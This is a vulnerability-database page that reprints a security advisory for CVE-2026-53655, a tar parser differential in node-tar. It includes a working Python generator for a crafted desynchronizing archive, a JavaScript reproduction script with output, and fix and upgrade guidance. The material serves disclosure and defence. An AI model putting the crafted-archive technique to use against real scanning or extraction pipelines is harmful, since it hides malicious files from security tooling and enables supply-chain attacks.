Skip to main content

node-tar CVE-2026-53655

| EUVDEUVD-2026-38255 MEDIUM
Interpretation Conflict (CWE-436)
2026-06-15 https://github.com/isaacs/node-tar GHSA-vmf3-w455-68vh
6.9
CVSS 4.0 · Vendor: https://github.com/isaacs/node-tar
Share

Severity by source

Vendor (https://github.com/isaacs/node-tar) PRIMARY
6.9 MEDIUM
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
5.3 MEDIUM

Network-delivered crafted archive, no auth required (PR:N), no interaction needed (UI:N); impact is limited to archive integrity interpretation with no confidentiality or availability effect.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
SUSE
6.5 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Primary rating from Vendor (https://github.com/isaacs/node-tar).

CVSS VectorVendor: https://github.com/isaacs/node-tar

CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

3
CVSS changed
Jun 22, 2026 - 16:52 NVD
6.9 (MEDIUM)
Source Code Evidence Fetched
Jun 15, 2026 - 17:56 vuln.today
Analysis Generated
Jun 15, 2026 - 17:56 vuln.today

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 264 npm packages depend on tar (44 direct, 221 indirect)

Ecosystem-wide dependent count for version 7.5.16.

DescriptionCVE.org

Summary

tar (node-tar) applies a PAX extended header's size= record (and other PAX overrides) to the next header entry of any type, including intermediary metadata headers such as a GNU long-name (L) or long-link (K) entry. Per POSIX pax, a PAX extended header (x) describes the *next file entry*, not the intermediary extension headers that may sit between the x header and the file it annotates. Because node-tar lets the PAX size override the byte length of an intervening L/K/x header, an attacker can desynchronize node-tar's stream cursor relative to every other mainstream tar implementation (GNU tar, libarchive/bsdtar, Python tarfile, and the now-fixed tar-rs / astral-tokio-tar).

The result is a tar parser interpretation differential (CWE-436): a single crafted archive yields a different set of members under node-tar than under the reference tar tools. An attacker can use this to hide a member from one parser while it is visible to another, which defeats security tooling whose scanner and extractor disagree on archive contents (e.g. a malware/secret scanner that lists entries with one library while a downstream step extracts with another). node-tar is one of the most widely deployed JavaScript tar libraries (it backs npm's own package-tarball handling and is a transitive dependency of a very large fraction of the npm ecosystem), so the blast radius for "files that extract differently depending on the tool" is broad.

This is the same root cause and fix that was just addressed upstream in the Rust tar ecosystem (tar-rs / astral-tokio-tar); node-tar carries the equivalent defect and has no equivalent guard.

Impact

  • CWE-436 Interpretation Conflict / inconsistent tar parsing (the same class as

the prior tar "smuggling" advisories GHSA-j5gw-2vrg-8fgx and GHSA-fp55-jw48-c537).

  • A crafted archive can present one logical member list to a tool that lists or

scans with node-tar and a different member list to GNU tar / libarchive / Python tarfile (and vice versa). This lets a malicious file be hidden from a scanner that uses a different parser than the eventual extractor, or hidden from node-tar-based inspection while still landing on disk via a system tar.

  • No authentication is required; the only precondition is that a victim parses

an attacker-supplied tar with node-tar. Tar archives are routinely fetched from untrusted sources (package registries, user uploads, CI artifacts, container layers).

  • Severity: Medium. Impact is integrity-of-archive-interpretation, not direct

RCE; it is a building block for supply-chain / scanner-evasion attacks rather than a standalone code-execution primitive.

Vulnerable code (file:line)

src/header.ts (compiled to dist/esm/header.js:49 and dist/commonjs/header.js:85 in the published tar@7.5.15):

ts
// Header.decode(buf, off, ex, gex)
this.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12)

ex is the currently-accumulated PAX local extended header and gex the PAX global header. The size override from ex/gex is applied unconditionally to whatever header is being decoded next - there is no check that the header being decoded is a real *file* entry rather than an intermediary extension header.

src/parse.ts, [CONSUMEHEADER] constructs the next header with the current EX/GEX applied:

ts
const header = new Header(chunk, position, this[EX], this[GEX])

and later branches on whether that header is a metadata entry. this[EX] is cleared only in the non-meta (real file) branch:

ts
if (entry.meta) {
  // L / K / x / g metadata entries: this[EX] is left intact here
  if (entry.size > this.maxMetaEntrySize) {
    entry.ignore = true
    this[STATE] = 'ignore'
    entry.resume()
  } else if (entry.size > 0) {
    this[META] = ''
    entry.on('data', c => (this[META] += c))
    this[STATE] = 'meta'
  }
} else {
  this[EX] = undefined   // EX cleared only once a real file entry is reached
}

When the stream is ordered x (PAX, size=N) -> L (GNU long-name) -> file, the L header is constructed with this[EX] still set, so its size/remain becomes N instead of the L payload's true length. node-tar then consumes N bytes of "metadata" and resumes header parsing at the wrong offset, landing mid-stream. Every other mainstream parser applies the PAX size only to the following *file* entry, so they stay synchronized.

The correct behavior (and the fix shipped upstream in the Rust tar ecosystem) is to not apply PAX size/overrides when the entry being decoded is itself an extension header (L GNU long-name, K GNU long-link, x PAX local, g PAX global).

How input reaches the sink

tar.list(), tar.extract()/tar.x(), and tar.Parse/tar.Unpack all route every 512-byte header block through Header.decode(...) with the currently-accumulated EX/GEX. Any consumer that parses an attacker-supplied archive - tar.list, tar.extract, or piping into the streaming Parser - reaches the sink. No options need to be enabled; the default code path is affected.

Proof of concept

Archive layout (all standard, GNU-tar-producible blocks):

block 0 : x  header  (PAX local extended, typeflag 'x'), its own size = len(pax body)
block 1 : x  payload : the single PAX record  "...size=2048\n"
block 2 : L  header  (GNU long-name '././@LongLink'), real size = 13
block 3 : L  payload : "longname.txt\0"      (the long name for the next file)
block 4 : file header 'file_a', size = 16
block 5 : file_a body (16 bytes, zero-padded to 512)
block 6 : file header 'file_b', size = 16
block 7 : file_b body (16 bytes, zero-padded to 512)

Generator (make_tar.py, pure stdlib, no external deps):

python
def hdr(name, size, typeflag):
    h = bytearray(512); name = name[:100]; h[0:len(name)] = name
    h[100:108] = b'0000644\0'; h[108:116] = b'0000000\0'; h[116:124] = b'0000000\0'
    h[124:136] = ('%011o\0' % size).encode(); h[136:148] = b'00000000000\0'
    h[156:157] = typeflag; h[257:263] = b'ustar\0'; h[263:265] = b'00'
    h[148:156] = b' ' * 8
    cs = sum(h); h[148:156] = ('%06o\0 ' % cs).encode()
    return bytes(h)

def pad(d):
    return d + b'\0' * ((512 - len(d) % 512) % 512)

def pax_record(key, val):
# length-prefixed PAX record "LEN key=val\n"
    body = b' %s=%s\n' % (key.encode(), str(val).encode()); n = len(body)
    while True:
        s = str(n).encode() + body
        if len(s) == n: break
        n = len(s)
    return s

pax = pax_record('size', 2048)
# malicious: claim size=2048 for the "next" entry
out  = hdr(b'PaxHeaders/x', len(pax), b'x') + pad(pax)
out += hdr(b'././@LongLink', 13, b'L') + pad(b'longname.txt\0')
out += hdr(b'file_a', 16, b'0')        + pad(b'AAAA_file_a_body')
out += hdr(b'file_b', 16, b'0')        + pad(b'BBBB_file_b_body')
out += b'\0' * 1024
open('pax-desync.tar', 'wb').write(out)

A negative-control archive is identical except the PAX record is pax_record('comment', 'x') (no size=), written to pax-control.tar.

End-to-end reproduction (against pinned version tar@7.5.15, latest release)

Install the published package into a clean project and parse both archives:

$ npm init -y >/dev/null && npm install tar@7.5.15
$ node -e "console.log(require('tar/package.json').version)"
7.5.15
$ grep -n "ex?.size ?? gex?.size" node_modules/tar/dist/esm/header.js
49:        this.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12);

e2e.mjs:

js
import * as tar from 'tar'
async function listEntries(f){
  const got=[], warns=[]
  await tar.list({ file:f, onReadEntry:e=>{ got.push({path:e.path,size:e.size,type:e.type}); e.resume() },
                   onwarn:(code,_msg)=>warns.push(code) })
  return { got, warns }
}
const mal = await listEntries('pax-desync.tar')
console.log('MALICIOUS entries :', JSON.stringify(mal.got), 'warnings:', JSON.stringify(mal.warns))
const ctl = await listEntries('pax-control.tar')
console.log('CONTROL  entries :', JSON.stringify(ctl.got), 'warnings:', JSON.stringify(ctl.warns))

Verbatim output:

=== Deployed-consumer E2E: npm tar@7.5.15 (latest release) ===

[MALICIOUS] archive = x(PAX size=2048) -> L(GNU longname "longname.txt") -> file_a(16B) -> file_b(16B)
  tar.list() entries : []
  tar.list() warnings: ["TAR_ENTRY_INVALID"]

[NEGATIVE CONTROL] same archive, PAX record is "comment=x" (no size= override)
  tar.list() entries : [{"path":"longname.txt","size":16,"type":"File"},{"path":"file_b","size":16,"type":"File"}]
  tar.list() warnings: []

Reference parsers on the same pax-desync.tar:

$ tar tvf pax-desync.tar
-rw-r--r--  0 0      0        2048 Jan  1  1970 longname.txt
# GNU tar

$ bsdtar tvf pax-desync.tar
-rw-r--r--  0 0      0        2048 Jan  1  1970 longname.txt
# libarchive

$ python3 -c "import tarfile; print([m.name for m in tarfile.open('pax-desync.tar').getmembers()])"
['longname.txt']
# Python tarfile

Interpretation differential: GNU tar, libarchive (bsdtar), and Python tarfile all extract the member longname.txt from pax-desync.tar, whereas node-tar 7.5.15 desynchronizes, raises TAR_ENTRY_INVALID (checksum failure from landing mid-stream), and reports zero members. The negative control proves the divergence is caused solely by the PAX size= override being applied to the intermediary L header - when the same archive carries a PAX record without size=, node-tar parses it identically to the reference tools (longname.txt, file_b).

Suggested fix

When decoding a header, do not apply PAX size (or other PAX overrides) if the header being decoded is itself an extension header. Concretely, in src/parse.ts clear/ignore this[EX] (and this[GEX] for size) when the header's type is ExtendedHeader, GlobalExtendedHeader, NextFileHasLongPath (GNU L), or NextFileHasLongLinkpath (GNU K); equivalently, in Header.decode, gate the ex?.size ?? gex?.size override on the decoded type not being one of those extension types. This mirrors the upstream Rust fix, which guards pax_size with is_gnu_longname || is_gnu_longlink || is_pax_local_extensions || is_pax_global_extensions.

A fix PR is being prepared against a private fork and will be linked here.

Fix PR

To be linked from a private fork of the repository (the fix will not be pushed to any public fork or to upstream during embargo).

Credits

Reported by tonghuaroot.

AnalysisAI

Tar parser interpretation differential in node-tar (npm tar package) <= 7.5.15 allows a crafted archive to present a different member list to node-tar than to GNU tar, libarchive, or Python tarfile, enabling security scanner evasion in pipelines that scan with one tool and extract with another. The flaw stems from node-tar incorrectly applying a PAX extended header's size= override to intermediary GNU long-name (L) and long-link (K) metadata headers, desynchronizing the stream cursor and causing node-tar to raise a checksum error and report zero members while reference parsers correctly extract files. A detailed, working proof-of-concept (Python stdlib only) is included in the advisory; no active exploitation (CISA KEV) has been confirmed at time of analysis, but the broad npm ecosystem blast radius - node-tar backs npm's own tarball handling - materially elevates real-world risk.

Technical ContextAI

The root cause is in src/header.ts of node-tar, compiled to dist/esm/header.js:49 and dist/commonjs/header.js:85 in the published tar@7.5.15. The expression this.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12) unconditionally applies PAX local (ex) and global (gex) extended header size overrides to any header being decoded, including intermediary extension headers. Per POSIX pax specification, PAX extended headers (x typeflag) annotate only the next *file* entry, not the GNU long-name (L) or long-link (K) metadata headers that may sit between the x block and the file it describes. In src/parse.ts, the [EX] accumulator is cleared only when a real file entry is processed - not when metadata entries (L/K/x/g) are encountered - so an archive ordered x(PAX, size=N) → L(GNU long-name) → file causes the L header's size/remain to be set to N rather than the true L payload length. This desynchronizes node-tar's stream cursor, causing it to consume the wrong number of bytes and land mid-stream, where it encounters an invalid checksum and discards all remaining entries. CWE-436 (Interpretation Conflict) precisely describes this class: the same archive body yields divergent logical member sets depending on which parser processes it. The same root cause was addressed in the Rust tar ecosystem (tar-rs / astral-tokio-tar) by guarding PAX size application on the decoded type not being an extension header type.

RemediationAI

Upgrade node-tar to version 7.5.16 or later; this is the vendor-released patch confirmed by GitHub Security Advisory GHSA-vmf3-w455-68vh (https://github.com/isaacs/node-tar/security/advisories/GHSA-vmf3-w455-68vh). The fix gates PAX size overrides on the decoded header type not being an extension header (GNU L/K or PAX x/g), mirroring the fix shipped in the Rust tar ecosystem. For environments where an immediate upgrade is not feasible, a compensating control is to pre-validate archives before they reach node-tar by rejecting any archive where a PAX extended header (x typeflag) is immediately followed by a GNU long-name or long-link entry (L/K typeflags) - however, this requires custom pre-processing and adds operational complexity. A second option for security-sensitive scanner stages is to replace node-tar-based archive enumeration with a process spawning GNU tar or libarchive (bsdtar), which parse the format correctly; this eliminates the parser differential in the scanning step but introduces subprocess overhead and potential platform portability concerns. Neither compensating control is a substitute for patching to 7.5.16.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2026-55255 HIGH POC
8.4 Jun 19

Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
SUSE Linux Enterprise Desktop 15 SP7 Affected
SUSE Linux Enterprise High Performance Computing 12 Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Affected

Share

CVE-2026-53655 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy